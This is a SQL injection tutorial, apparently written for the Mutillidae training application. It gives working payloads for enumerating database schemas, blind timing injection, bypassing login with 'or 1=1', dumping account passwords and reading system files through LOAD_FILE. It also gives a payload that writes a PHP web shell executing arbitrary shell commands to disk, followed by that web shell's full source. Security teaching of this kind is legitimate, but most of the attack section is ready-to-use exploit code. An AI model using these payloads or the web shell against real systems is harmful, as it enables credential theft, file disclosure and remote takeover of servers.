SQL Injection (SQLi) |
Overview SQL injection may occcur when user or attacker controlled input is later incorporated into an SQL query which is built and executed by the web application. Web applications which do not implement code-data segmentation by using routines (i.e. - stored procedures, user-defined functions) may be vulnerable. Some sites attempt to parameterize queries which prevents SQL injection but fails to meet other objectives such as least-privilege. Video Tutorials Discovery Methodology Inject all available parameters of the web page with charaters reserved in SQL, PL/SQL, T-SQL, and MySQL. Examine responses for difference from responses with normal input. Additionally attempt to inject valid SQL statements including statements which cause errors, induce pauses, and cause differences when similar statements evaluate to true or false. You may use tools like Burp-Suite and SQLMap to fuzz sites quickly Reconnaissance Error messages can be excellent sources of information. Developers are often naive about error messages and allow their apps to display errors rather than log the errors privately or email them to support staff. Secure sites use custom error pages that display no error messages. Finding an error message with respect to SQLi typically involves malforming the query on purpose. Special characters can get the job done. Single-quotes and parenthesis often cause errors in SQL Server, Oracle and MySQL databases. Dont forget to use different encodings of each character to see if that makes a difference. For example, try URL encoding, hex, etc. Try those first, then move onto any character that is not alpha-numeric. Hint: Go to the documentation for ANSI-SQL, Oracle, SQL Server, and MySQL to see which characters are reserved in those respective systems. (ANSI-SQL is the "common" SQL shared by all compliant databases.) In particular, determine what are the comment symbols for the respective systems. Try to find out what type of database is behind the application. Knowing if the database is Oracle, SQL Server, or MySQL can help a lot. Each has its own meta-tables, functions, system tables, system procedures, and vulnerabilities. If the database is SQL Server or MySQL, investigate the INFORMATION_SCHEMA and understand the built-in functions/procedures. They both implement this SQL-92 standard structure. Oracle uses non-standard "Oracle Data Dictionary" views. As of the date of this document, there is an awesome listing at http://ss64.com/orad/. Sometimes the type of database can be infered by its behavior. For example, SQL Server and MySQL both use "--" (double-hyphen) as the comment symbols; however, MySQL requires a space betwwen the comment symbol and the next character. This statement is a valid SQL injection against either SQL Server or MySQL:
' union select/**/name/**/FROM/**/INFORMATION_SCHEMA.TABLES--
MySQL can be identified by whether the injection requires a space on the end. Oracle and SQL Server do not care if there is a space at the end of the injection or not. But MySQL needs the space on the end. (At least when used with PHP.)
' union select name FROM INFORMATION_SCHEMA.TABLES-- (<-- space required here)
Determine the page capibilities. If the page displays database records, standard SQL injection is probably the better tool. If the page processes queries but does not display query output (i.e. - a login page), then blind SQLi may be the better tool. Use the page normally and observe the behavior. For example, log into Mutillidae. Does Mutillidae display any information from the database because you log-in? (No) What happens when using page user-info.php? Does any data displaywhen using page user-info.php? (Yes) The login page is likely going to be a better candidate for blind SQL injection while user-info.php is likely a better candidate for direct SQL injection. Scanning Get specifications on database software (Example Page: user-info.php)
' union select null, database(), current_user(), version() --
If the meta-tables are available, they can footprint the database structure making the next steps much more productive. Check the documentation for Oracle, MySQL, and SQL Server. Determine the meta-table structures, table/view names, and column names. If the database is SQL Server or MySQL, investigate the INFORMATION_SCHEMA and understand the built-in functions/procedures. They both implement this SQL-92 standard structure. Oracle uses non-standard "Oracle Data Dictionary" views. As of the date of this document, there is an awesome listing at http://ss64.com/orad/. Extract table names from database. (Example Page: user-info.php)
' union select null,table_schema AS username,table_name AS password,null from INFORMATION_SCHEMA.TABLES--
Extract table columns from database using a single field (Example Page: user-info.php)
' union select null,concat_ws('.', table_schema, table_name, column_name) AS username,null,null from INFORMATION_SCHEMA.COLUMNS--
Extract views from database (Example Page: user-info.php)
' union select null,concat_ws('.', COALESCE(table_schema,''), COALESCE(table_name,''), COALESCE(view_definition,'')) AS username,null,null from INFORMATION_SCHEMA.VIEWS--
Extract triggers from database (Example Page: user-info.php)
' union select null,concat_ws('.', trigger_schema, trigger_name) AS username,null,null from INFORMATION_SCHEMA.TRIGGERS--
Extract routines/procs from database (Example Page: user-info.php)
' union select null,concat_ws('.', routine_schema, routine_name, routine_type, routine_body) AS username,null,null from INFORMATION_SCHEMA.ROUTINES--
Extract table columns from database (Example Page: user-info.php)
' union select null,concat_ws('.', table_schema, table_name, column_name) AS username,null,null from INFORMATION_SCHEMA.COLUMNS union select null,concat_ws('.', routine_schema, routine_name, routine_type, routine_body) AS username,null,null from INFORMATION_SCHEMA.ROUTINES union select null,concat_ws('.', table_schema, table_name, view_definition) AS username,null,null from INFORMATION_SCHEMA.VIEWS union select null,concat_ws('.', trigger_schema, trigger_name) AS username,null,null from INFORMATION_SCHEMA.TRIGGERS--
Blind SQL injection does not depend on seeing any resulting records. Instead, page timing can be used. Blind SQL Injection/Brute Forcing values (Example Page: login.php)
' union Select null, case current_user() when 'root@localhost' THEN sleep(5) ELSE sleep(0) END, null, null --
Exploitation
Extract passwords from user table (Example Page: user-info.php)
' union select null, owasp10.accounts.username AS username, owasp10.accounts.password AS password, null from owasp10.accounts --
Using SQL Injection (Page: login.php)
' or 1=1 --
Using advanced techniques: Open files on target operating system Page: user-info.php Field: username Values:
' union select null, LOAD_FILE('../README') AS username, null, null--
' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\system32\\drivers\\etc\\hosts') AS username, null, null--
' union select null, LOAD_FILE('..\\..\\..\\..\\WINDOWS\\inf\\cpu.inf') AS username, null, null--
' union select null, LOAD_FILE('mysql_error.log'), null, null--
' union select null, LOAD_FILE('..\\..\\..\\htdocs\\mutillidae\\index.php'), null, null--
Using advanced techniques: Writing files to operating system Page: user-info.php Field: username Value:
' union select null,null,null,null,'<form action="" method="post" enctype="application/x-www-form-urlencoded"><table style="margin-left:auto; margin-right:auto;"><tr><td colspan="2">Please enter system command</td></tr><tr><td></td></tr><tr><td class="label">Command</td><td><input type="text" name="pCommand" size="50"></td></tr><tr><td></td></tr><tr><td colspan="2" style="text-align:center;"><input type="submit" value="Execute Command" /></td></tr></table></form><?php echo "<pre>";echo shell_exec($_REQUEST["pCommand"]);echo "</pre>"; ?>' INTO DUMPFILE '..\\..\\htdocs\\mutillidae\\backdoor.php' --
This is the source code for the web shell. Also try Laudinum.
<form action="" method="post" enctype="application/x-www-form-urlencoded">
<table style="margin-left:auto; margin-right:auto;">
<tr>
<td colspan="2">Please enter system command</td>
</tr>
<tr><td></td></tr>
<tr>
<td class="label">Command</td>
<td><input type="text" name="pCommand" size="50"></td>
</tr>
<tr><td></td></tr>
<tr>
<td colspan="2" style="text-align:center;">
<input type="submit" value="Execute Command" />
</td>
</tr>
</table>
</form>
<?php
echo "<pre>";
echo shell_exec($_REQUEST["pCommand"]);
echo "</pre>";
?>
Example (Bypass Authentication)
Example (Dump user credentials)
Example (Shorter Injections)
Videos SQL Injection Explained - Part 1: The Basics SQL Injection Explained - Part 2: Tautologies SQL Injection Explained - Part 3: Selective Injections SQL Injection Explained - Part 4: Discovery by Error SQL Injection Explained - Part 5: Union-Based SQL Injection SQL Injection Explained - Part 6: Timing Attacks SQL Injection Explained - Part 7: Reading Files SQL Injection Explained - Part 8: Authentication Bypass SQL Injection Explained - Part 9: Inserting Data SQL Injection Explained - Part 10: Web Shells SQL Injection Explained - Part 11: Beware the Cross-Site Scripts Introduction to SQL Injection for Beginners Introduction to SQL Injection with SQLMap Automate SQL Injection using sqlmap SQL Injection via AJAX request with JSON response Basics of using sqlmap - ISSA KY Workshop - February 2013 |